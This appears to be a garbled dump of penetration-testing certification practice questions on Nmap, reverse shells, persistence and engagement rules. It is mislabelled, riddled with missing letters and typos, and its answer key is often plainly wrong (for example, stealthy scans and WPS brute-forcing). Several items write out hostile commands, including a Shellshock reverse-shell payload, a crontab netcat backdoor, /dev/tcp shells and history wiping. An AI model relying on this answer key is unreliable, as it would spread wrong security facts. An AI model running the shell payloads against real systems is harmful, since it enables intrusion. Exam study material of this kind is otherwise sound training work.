Pentest 200-301

QUESTION: 94 An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection? A. nmap "T3 192.168.0.1 B. nmap "P0 192.168.0.1 C. nmap "T0 192.168.0.1 D. nmap "A 192.168.0.1

B

QUESTION: 19 A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago. In which of the following places should the penetration tester look FIRST for the employees' numbers? A. Web archive B. GitHub C. File metadata D. Underground forums

A

QUESTION: 2 A penetration tester gains access to a system and establishes persistence, and then run the following commands: cat /dev/mull > temp touch -r .bash_history temp mv temp .bash_history Which of the following actions is the tester MOST likely performing? A. Redirecting Bash history to /dev/null B. Making a copy of the user's Bash history to further enumeration C. Covering tracks by clearing the Bash history D. Making decoy les on the system to confuse incident responders

A

QUESTION: 24 A penetration tester writes the following script: #!/bin/bash for x in 'seq 1 254' ; do ping -c 1 10.10.1.$x; done Which of the following objectives is the tester attempting to achieve? A. Determine active hosts on the network. B. Set the TTL of ping packets for stealth. C. Fill the ARP table of the networked devices. D. Scan the system on the most used ports.

A

QUESTION: 26 A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective? A. Socat B. tcpdump C. Scapy D. dig

A

QUESTION: 28 The following line-numbered Python code snippet is being used in reconnaissance: ... <LINE NUM.> <01> portList: list[int] = [*range(1, 1025)] <02> random.shuffle(portList) <03> try: <04> Port: int <05> resultList: list[int] = [] <06> for port on portList: <07> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) <08> sock.sttimeout(0.01) <09> result = sock.connect_ex((remoteSvr, port)) <10> if result == 0: <11> resultList.append(port) <12> sock.close() ... Which of the following line numbers from the script MOST likely contributed to the script triggering a`probable port scan` alert in the organization's IDS? A. Line 01 B. Line 02 C. Line 07 D. Line 08 E. Line 12

A

QUESTION: 30 A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to x any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings. Which of the following is most important for the penetration tester to de ne FIRST? A. Establish the format required by the client. B. Establish the threshold of risk to escalate to the client immediately. C. Establish the method of potential false positives. D. Establish the preferred day of the week for reporting.

A

QUESTION: 31 A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user? A. iam_enum_permissions B. iam_prive_sc_scan C. iam_backdoor_assume_role D. iam_bruteforce_permissions

A

QUESTION: 36 A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT? A. Reach out to the primary point of contact. B. Try to take down the attackers. C. Call law enforcement o cials immediately. D. Collect the proper evidence and add to the nal report.

A

QUESTION: 38 A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command: nmap - O -A -sS -p- 100.100.100.50 Nmap returned that all 65,535 ports were filtered Which of the following MOST likely occurred on the second scan? A. A firewall or IPS blocked the scan. B. The penetration tester used unsupported flags. C. The edge network device was disconnected. D. The scan returned ICMP echo replies.

A

QUESTION: 4 A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a bene t of the framework? A. Understanding the tactics of a security intrusion can help disrupt them. B. Scripts that are part of the framework can be imported directly into SIEM tools. C. The methodology can be used to estimate the cost of an incident better. D. The framework is static and ensures stability of a security program over time.

A

QUESTION: 54 A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection? A. nmap -P0 -T0 -sS 192.168.1.10 B. nmap -sA -sV --host-timeout 60 192.168.1.10 C. nmap -f --badsum 192.168.1.10 D. nmap -A -n 192.168.1.10

A

QUESTION: 57 Which of the following protocols or technologies would in-transit confidentially protection for emailing the final security assessment report? A. S/MIME B. FTPS C. DNSSEC D. AS2

A

QUESTION: 60 A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan? A. nmap -sn 10.12.1.0/24 B. nmap -sV -A 10.12.1.0/24 C. nmap -Pn 10.12.1.0/24 D. nmap -sT -p- 10.12.1.0/24

A

QUESTION: 61 Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance? A. Shodan B. Nmap C. WebScarab-NG D. Nessus

A

QUESTION: 62 Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment? A. Whether the cloud service provider allows the penetration tester to test the environment B. Whether the speci c cloud services are being used by the application C. The geographical location where the cloud services are running D. Whether the country where the cloud service is based has any impeding laws

A

QUESTION: 64 A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT? A. John the Ripper B. Hydra C. Mimikatz D. Cain and Abel

A

QUESTION: 67 A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system? A. schtasks /create /sc /ONSTART /tr C:\Temp|WindowsUpdate.exe B. wmic startup get caption,command C. crontab -l; echo @reboot sleep 200 && ncat -lvp 4242 -e /bin/bash ) | crontab 2>/dev/null D. sudo useradd -ou 0 -g 0 user

A

QUESTION: 76 Which of the following situations would MOST likely warrant revalidation of a previous security assessment? A. After detection of a breach B. After a merger or an acquisition C. When an organization updates its network firewall configurations D. When most of the vulnerabilities have been remediated

A

QUESTION: 78 After gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results: Nmap scan report for 192.168.10.10 Port State Service Version 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 5985/tcp open Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Nmap scan report for 192.168.10.11 Port State Service Version 135/tcp Open msrpc Microsoft Windows RPC 139/tcp Open netbios-ssn Microsoft Windows netbios-ssn 3389/tcp open ms-wbt-server Microsoft Terminal Services The tester then runs the following command from the previous exploited system, which fails: Enter-PSSession -ComputerName 192.168.10.11 -Credential $cred Which of the following explains the reason why the command failed? A. The tester input the incorrect IP address. B. The command requires the "port 135 option. C. An account for RDP does not exist on the server. D. PowerShell requires administrative privilege.

A

QUESTION: 79 Which of the following assessment methods is MOST likely to cause harm to an ICS environment? A. Active scanning B. Ping sweep C. Protocol reversing D. Packet analysis

A

QUESTION: 80 During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames. Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform? A. Sniff and then crack the WPS PIN on an associated WiFi device. B. Dump the user address book on the device. C. Break a connection between two Bluetooth devices. D. Transmit text messages to the device.

A

QUESTION: 81 Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement? A. Acceptance by the client and sign-off on the final report B. Scheduling of follow-up actions and retesting C. Attestation of findings and delivery of the report D. Review of the lessons during the engagement

A

QUESTION: 90 An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports? A. OpenVAS B. Drozer C. Burp Suite D. OWASP ZAP

A

QUESTION: 95 A penetration tester wrote the following script to be used in one engagement: #!/use/bin/python import socket,sys ports = [21,22,23,25,80,139,443,445,3306,3389] if len(sys.argv) == 2; target = socket.gethostbyname (sys.argv[1]) else: print("Too few arguments.") print(Syntax: python {} <>".format{sys.argv[0]]) sys.exit [] try: for port in ports ; s = socket.socket(socket.AP_INET, socket.SOCK_STREAM) s.settimeout(2) result = s.connect_ex{(target.port)} if result == 0: print("Port {} is opened".format {port}) except KeyboardInterrupt: print("Exiting...") sys.exit {} Which of the following actions will this script perform? A. Look for open ports. B. Listen for a reverse shell. C. Attempt to flood open ports. D. Create an encrypted tunnel.

A

QUESTION: 99 A penetration tester ran a simple Python-based scanner. The following is a snippet of the code: ... <LINE NUM.> <01> portlist: List[int] = {*range[, 1025)] <02> try; <03> port:object <04> resultList: list[Any] = [] <05> for port in portList: <06> sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM) <07> sock.settimeout(20) <08> result = sock.connect_ex((remoteSvr, port)) <09> if result == 0: <10> resultList.append(port) <11> sock.close() ... Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS? A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds. B. *range(1, 1025) on line 1 populated the portList list in numerical order. C. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM D. The remoteSvr variable has neither been type-hinted nor initialized.

A

Question: 7 A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk? A. Whether sensitive client data is publicly accessible B. Whether the connection between the cloud and the client is secure C. Whether the client's employees are trained properly to use the platform D. Whether the cloud applications were developed using a secure SDLC

A

QUESTION: 1 Which of the following commands will allow a penetration tester to permit a shell script to be executed by the le owner? A. chmod u+x script.sh B. chmod u+e script.sh C. chmod o+e script.sh D. chmod o+x script.sh

A Explanation: The man page of chmod covers that. u stands for user g stands for group o stands for others a stands for all That means that chmod u+x somefile will grant only the owner of that file execution permissions whereas chmod +x somefile is the same as chmod a+x somefile.

QUESTION: 72 A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.) A. Spawned shells B. Created user accounts C. Server logs D. Administrator accounts E. Reboot system F. ARP cache

A, B

QUESTION: 53 A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.) A. Wireshark B. Nessus C. Retina D. Burp Suite E. Shodan F. Nikto

A, E

QUESTION: 77 A penetration tester gains access to a system and is able to migrate to a user process: net user S: \\192.168.5.51\C$\temp /persistent no copy c:\temp\hack.exe S:\temp\hack.exe wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe" Given the output above, which of the following actions is the penetration tester performing? (Choose two.) A. Redirecting output from a le to a remote system B. Building a scheduled task for execution C. Mapping a share to a remote system D. Executing a le on the remote system E. Creating a new process on all domain systems F. Setting up a reverse shell from a remote system G. Adding an additional IP address on the compromised system

A, F

QUESTION: 5 Which of the following BEST describe the OWASP Top 10? (Choose two.) A. The most critical risks of web applications B. A list of all the risks of web applications C. The risks de ned in order of importance D. A web-application security standard E. A risk-governance and compliance framework F. A checklist of Apache vulnerabilities

A,C

QUESTION: 85 Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types? A. Nessus B. Metasploit C. Burp Suite D. Ethercap

B

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file? A. Nmap B. Wireshark C. Metasploit D. Netcat

B

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: Which of the following commands should the penetration tester run post-engagement? A. grep -v apache ~/bash_history > ~/.bash_history B. rm -rf /tmp/apache C. chmod 600 /tmp/apache D. taskkill /IM apache /F

B

QUESTION: 14 Which of the following describes the reason why a penetration tester would run the command sdelete mimikatz. * on a Windows server that the tester compromised? A. To remove hash-cracking registry entries B. To remove the tester-created Mimikatz account C. To remove tools from the server D. To remove a reverse shell from the system

B

QUESTION: 17 A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following MOST likely describes what happened? A. The penetration tester was testing the wrong assets. B. The planning process failed to ensure all teams were noti ed. C. The client was not ready for the assessment to start. D. The penetration tester had incorrect contact information.

B

QUESTION: 21 A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive? A. Run another scanner to compare. B. Perform a manual test on the server. C. Check the results on the scanner. D. Look for the vulnerability online.

B

QUESTION: 23 A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack? A. WPS B. WPA2-EAP C. WPA-TKIP D. WPA2-PSK

B

QUESTION: 29 A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE? A. Cost of the assessment B. Report distribution C. Testing restrictions D. Liability

B

QUESTION: 32 A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT? A. Halt the penetration test. B. Conduct an incident response. C. Decon ict with the penetration tester. D. Assume the alert is from the penetration test.

B

QUESTION: 35 A penetration tester conducts an Nmap scan against a target and receives the following results: PORT State Service 1080/TCP open socks Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target? A. Nessus B. ProxyChains C. OWASP ZAP D. Empire

B

QUESTION: 44 A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position. Which of the following actions, if performed, would be ethical within the scope of the assessment? A. Exploiting a configuration weakness in the SQL database B. Intercepting outbound TLS traffic C. Gaining access to hosts by injecting malware into the enterprise-wide update server D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates E. Establishing and maintaining persistence on the domain controller

B

QUESTION: 59 A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php? id=123987. Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL? A. SQLmap B. Nessus C. Nikto D. DirBuster

B

QUESTION: 65 A penetration tester obtained the following results after scanning a web server using the dirb utility: ... GENERATED WORDS: 4612 ---- Scanning URL: http://10.2.10.13/ ---- + http://10.2.10.13/about (CODE:200|SIZE:1520) + http://10.2.10.13/home.html (CODE:200|SIZE:214) + http://10.2.10.13/index.html (CODE:200|SIZE:214) + http://10.2.10.13/info (CODE:200|SIZE:214) ... DOWNLOADED:41612 - FOUND:4 Which of the following elements is MOST likely to contain useful information for the penetration tester? A. index.html B. about C. info D. home.html

B

QUESTION: 66 A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal? A. Wireshark B. Aircrack-ng C. Kismet D. Wi te

B

QUESTION: 74 A penetration tester has prepared the following phishing email for an upcoming penetration test: Coworkers, A security incident recently occurred on company property. All employees are required to abide by company policies at all times. To ensure maximum compliance, all employees are required to sign the Security Policy Acceptance form (on-line here) before the end of this month. Please reach out if you have any questions or concerns. Human Resources Which of the following is the penetration tester using MOST to influence phishing targets to click on the link? A. Familiarity and likeness B. Authority and urgency C. Scarcity and fear D. Social proof and greed

B

QUESTION: 75 During a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited? A. Command injection B. Broken authentication C. Direct object reference D. Cross-site scripting

B

QUESTION: 83 Which of the following would a company's hunt team be MOST interested in seeing in a final report? A. Executive summary B. Attack TTPs C. Methodology D. Scope details

B

QUESTION: 96 A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step? A. Perform a new penetration test. B. Remediate the ndings. C. Provide the list of common vulnerabilities and exposures. D. Broaden the scope of the penetration test.

B

QUESTION: 92 A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results: # nmap -T4 -v -oG - scanme.nmap.org # Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG - scanme.nmap.org# Ports scanned: TCP(1000;1, 3-4, 6-7, ...,65389) UDP (0;) PROTOCOLS(0);) Host: 64.13.134.52 (Scanme.nmap.org) Status: up Host: 64.13.134.52 (scanme.nmap.org) Ports: 22/open/tcp 25/closed/tcp 53/open/tcp 70/closed/tcp 80/open/tcp 113/closed/tcp31337/closed/tcp Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID Seq: ALL zeros # Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds Based on the output, which of the following services are MOST likely to be exploited? (Choose two.) A. Telnet B. HTTP C. SMTP D. DNS E. NTP F. SNMP

B, D

QUESTION: 51 A penetration tester who is doing a company-requested assessment would like to send traffic to another system suing double tagging. Which of the following techniques would BEST accomplish this goal? A. RFID cloning B. RFID tagging C. Meta tagging D. Tag nesting

C

QUESTION: 58 A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report? A. Stronger algorithmic requirements B. Access controls on the server C. Encryption on the user passwords D. A patch management program

C

QUESTION: 55 A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT? A. Send deauthentication frames to the stations. B. Perform jamming on all 2.4GHz and 5GHz channels. C. Set the malicious AP to broadcast within dynamic frequency selection channels. D. Modify the malicious AP configuration to not use a preshared key.

C

QUESTION: 10 Which of the following is MOST important to include in the nal report of a static application-security test that was written with a team of application developers as the intended audience? A. Executive summary of the penetration-testing methods used B. Bill of materials including supplies, subcontracts, and costs incurred during assessment C. Quantitative impact assessments given a successful software compromise D. Code context for instances of unsafe typecasting operations

C

QUESTION: 12 A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees. Which of the following tools can help the tester achieve this goal? A. Metasploit B. Hydra C. SET D. WPScan

C

QUESTION: 15 A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker? A. nmap 192.168.1.1-5 -PU22-25,80 B. nmap 192.168.1.1-5 -PA22-25,80 C. nmap 192.168.1.1-5 -PS22-25,80 D. nmap 192.168.1.1-5 -Ss22-25,80

C

QUESTION: 18 An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems. Which of the following is the penetration tester trying to accomplish? A. Uncover potential criminal activity based on the evidence gathered. B. Identify all the vulnerabilities in the environment. C. Limit invasiveness based on scope. D. Maintain confidentiality of the findings.

C

QUESTION: 20 A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task? A. Run nmap with the -O, -p22, and -sC options set against the target. B. Run nmap with the -sV and -p22 options set against the target. C. Run nmap with the --script vulners option set against the target. D. Run nmap with the -sA option set against the target.

C

QUESTION: 25 A penetration tester ran the following commands on a Windows server: schtasks echo net user svsaccount password /add >> batchjopb3.bat echo net localgroup Administrators svsaccount /add >> batchjopb3.bat net user svsaccount runas /user:svsaccount mimikatz Which of the following should the tester do AFTER delivering the nal report? A. Delete the scheduled batch job. B. Close the reverse shell connection. C. Downgrade the svsaccount permissions. D. Remove the tester-created credentials.

C

QUESTION: 27 A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test. Which of the following describes the scope of the assessment? A. Partially known environment testing B. Known environment testing C. Unknown environment testing D. Physical environment testing

C

QUESTION: 3 A compliance-based penetration test is primarily concerned with: A. obtaining PII from the protected network. B. bypassing protection on edge devices. C. determining the e cacy of a speci c set of security standards. D. obtaining speci c information from the protected network.

C

QUESTION: 33 A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance? A. Wardriving B. Shodan C. Recon-ng D. Aircrack-ng

C

QUESTION: 39 A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to: Have a full TCP connection Send a `hello` payload Wait for a response Send a string of characters longer than 16 bytes Which of the following approaches would BEST support the objective? A. Run nmap -Pn -sV --script vuln <IP address>. B. Employ an OpenVAS simple scan against the TCP port of the host. C. Create a script in the Lua language and use it with NSE. D. Perform a credentialed scan with Nessus.

C

QUESTION: 40 Performing a penetration test against an environment with SCADA devices brings an additional safety risk because the: A. devices produce more heat and consume more power. B. devices are obsolete and are no longer available for replacement. C. protocols are more di cult to understand. D. devices may cause physical world effects.

C

QUESTION: 42 A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier. Which of the following is the BEST action for the penetration tester to take? A. Utilize the tunnel as a means of pivoting to other internal devices. B. Disregard the IP range, as it is out of scope. C. Stop the assessment and inform the emergency contact. D. Scan the IP range for additional systems to exploit.

C

QUESTION: 43 A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing? A. Phishing B. Tailgating C. Baiting D. Shoulder surfing

C

QUESTION: 46 Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester? A. NDA B. MSA C. SOW D. MOU

C

QUESTION: 68 A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid? A. PLCs will not act upon commands injected over the network. B. Supervisors and controllers are on a separate virtual network by default. C. Controllers will not validate the origin of commands. D. Supervisory systems will detect a malicious injection of code/commands.

C

QUESTION: 73 A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify? A. Weak authentication schemes B. Credentials stored in strings C. Buffer over ows D. Non-optimized resource management

C

QUESTION: 84 A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades- old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan? A. The timing of the scan B. The bandwidth limitations C. The inventory of assets and versions D. The type of scan

C

QUESTION: 86 A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds? A. Nmap B. tcpdump C. Scapy D. hping3

C

QUESTION: 88 A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on network segment. Which of the following could be used for a denial-of-service attack on the network segment? A. Smurf B. Ping ood C. Fraggle D. Ping of death

C

QUESTION: 91 A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine: ssh [email protected] -L5555:10.10.10.2:25 Which of the following would be the BEST command to use for further progress into the targeted network? A. nc 10.10.1.2 B. ssh 10.10.1.2 C. nc 127.0.0.1 5555 D. ssh 127.0.0.1 5555

C

QUESTION: 98 During an engagement, a penetration tester found the following list of strings inside a file: Here is a mess of random letters and numbers Which of the following is the BEST technique to determine the known plaintext of the strings? A. Dictionary attack B. Rainbow table attack C. Brute-force attack D. Credential-stuffing attack

C

Question: 6 A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the les that were discovered through this vulnerability are: https://xx.xx.xx.x/vpn/ .. /vpns/portal/scripts/newbm.pl https://xx.xx.xx.x/vpn/ .. /vpns/portal/scripts/rmbm.pl https://xx.xx.xx.x/vpn/ .. /vpns/portal/scripts/picktheme.pl https://xx.xx.xx.x/vpn/ .. /vpns/cfg/smb.conf Which of the following is the BEST method to help an attacker gain internal access to the affected machine? A. Edit the discovered le with one line of code for remote callback. B. Download .pl les and look for usernames and passwords. C. Edit the smb.conf le and upload it to the server. D. Download the smb.conf le and look at con gurations.

C

QUESTION: 93 Which of the following expressions in Python increase a variable val by one? (Choose two.) A. val++ B. +val C. val=(val+1) D. ++val E. val=val++ F. val+=1

C, F

QUESTION: 13 Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet? A. Unsupported operating systems B. Susceptibility to DDoS attacks C. Inability to network D. The existence of default passwords

D

QUESTION: 16 A penetration tester was brute forcing an internal web server and ran a command that produced the following output: $ dirb http://172.16.100.10:3000 -------------------------------- DURB v2.22 By The Dark Raver -------------------------------- START_TIME: Wed Feb 3 13:06:18 2021 URL_BASE: http://172.16.100.10:3000 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt -------------------------------- GENERATED WORDS: 4612 ---- Scanning URL: http://172.16.100.10:3000 ---- + http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071) + http://172.16.100.10:3000/[profile (CODE:500|SIZE:1151) + http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586) + http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28) + http://172.16.100.10:3000/Video (CODE:200|SIZE:10075518) -------------------------------- END_TIME: Wed Feb 3 13:07:53 2021 DOWNLOADED: 4612 - FOUND: 5 However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/pro le, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output? A. The HTTP port is not open on the rewall. B. The tester did not run sudo before the command. C. The web server is using HTTPS instead

D

QUESTION: 22 A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the HIGHEST likelihood of success? A. Attempting to tailgate an employee who is going into the client's workplace B. Dropping a malicious USB key with the company's logo in the parking lot C. Using a brute-force attack against the external perimeter to gain a foothold D. Performing spear phishing against employees by posing as senior management

D

QUESTION: 34 A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team? A. Multiple handshakes B. IP addresses C. Encrypted le transfers D. User hashes sent over SMB

D

QUESTION: 41 A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible. Which of the following Nmap scan syntaxes would BEST accomplish this objective? A. nmap -sT -vvv -O 192.168.1.2/24 -PO B. nmap -sV 192.168.1.2/24 -PO C. nmap -sA -v -O 192.168.1.2/24 D. nmap -sS -O 192.168.1.2/24 -T1

D

QUESTION: 45 A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server? A. Perform vertical privilege escalation. B. Replay the captured traffic to the server to recreate the session. C. Use John the Ripper to crack the password. D. Utilize a pass-the-hash attack.

D

QUESTION: 49 In an unprotected network le repository, a penetration tester discovers a text le containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text le follow the format: <name-serial_number>. Which of the following would be the best action for the tester to take NEXT with this information? A. Create a custom password dictionary as preparation for password spray testing. B. Recommend using a password manager/vault instead of text les to store passwords securely. C. Recommend configuring password complexity rules in all the systems and applications. D. Document the unprotected le repository as a finding in the penetration-testing report.

D

QUESTION: 52 A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() {ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`} Which of the following edits should the tester make to the script to determine the user context in which the server is being run? A. exploit = { User-Agent : () { ignored;};/bin/bash -i id;whoami , Accept : text/html,application/xhtml +xml,application/xml } B. exploit = { User-Agent : () { ignored;};/bin/bash -i>& nd / -perm -4000 , Accept : text/html,application/xhtml +xml,application/xml } C. exploit = { User-Agent : () { ignored;};/bin/sh -i ps -ef , 1&<0 Accept : text/html,application/xhtml +xml,application/xml } D. exploit = { User-Agent : () { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80 1&<0 Accept : text/ html,application/xhtml+xml,application/xml }

D

QUESTION: 69 A penetration tester downloaded a Java application le from a compromised web server and identifies how to invoke it by looking at the following log: 17:34:23 - F - Info: New connection established :8443 17:34:23 - F - User:bmarney 17:34:23 - F - PW Lenght 15 17:34:23 - F - login exec (/www.app.jre/bin/java -cp ./commapp.jar approval 192.168.0.1 bmarney 17:34:23 - F - login rc:0 Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets? A. Run an application vulnerability scan and then identify the TCP ports used by the application. B. Run the application attached to a debugger and then review the application's log. C. Disassemble the binary code and then identify the break points. D. Start a packet capture with Wireshark and then run the application.

D

QUESTION: 70 When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because: A. security compliance regulations or laws may be violated. B. testing can make detecting actual APT more challenging. C. testing adds to the workload of defensive cyber- and threat-hunting teams. D. business and network operations may be impacted.

D

QUESTION: 71 A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid? A. Crawling the web application's URLs looking for vulnerabilities B. Fingerprinting all the IP addresses of the application's servers C. Brute forcing the application's passwords D. Sending many web requests per second to test DDoS protection

D

QUESTION: 8 A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a le named exploit to a target machine for execution? A. nc 10.10.51.50 9891 < exploit B. powershell -exec bypass -f \\10.10.51.50\9891 C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit D. wget 10.10.51.50:9891/exploit

D

QUESTION: 82 A penetration tester discovers a web server that is within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT? A. Forensically acquire the backdoor Trojan and perform attribution. B. Utilize the backdoor in support of the engagement. C. Continue the engagement and include the backdoor nding in the final report. D. Inform the customer immediately about the backdoor.

D

QUESTION: 89 A penetration tester writes the following script: #!/bin/bash network= '10.100.100' ports= '22 23 80 443' for x in {1..254}; do (nc -zv $network.$x $ports ); done Which of the following is the tester performing? A. Searching for service vulnerabilities B. Trying to recover a lost bind shell C. Building a reverse shell listening on specified ports D. Scanning a network for specific open ports

D

QUESTION: 97 Which of the following situations would require a penetration tester to notify the emergency contact for the engagement? A. The team exploits a critical server within the organization. B. The team ex ltrates PII or credit card data from the organization. C. The team loses access to the network remotely. D. The team discovers another actor on a system on the network.

D

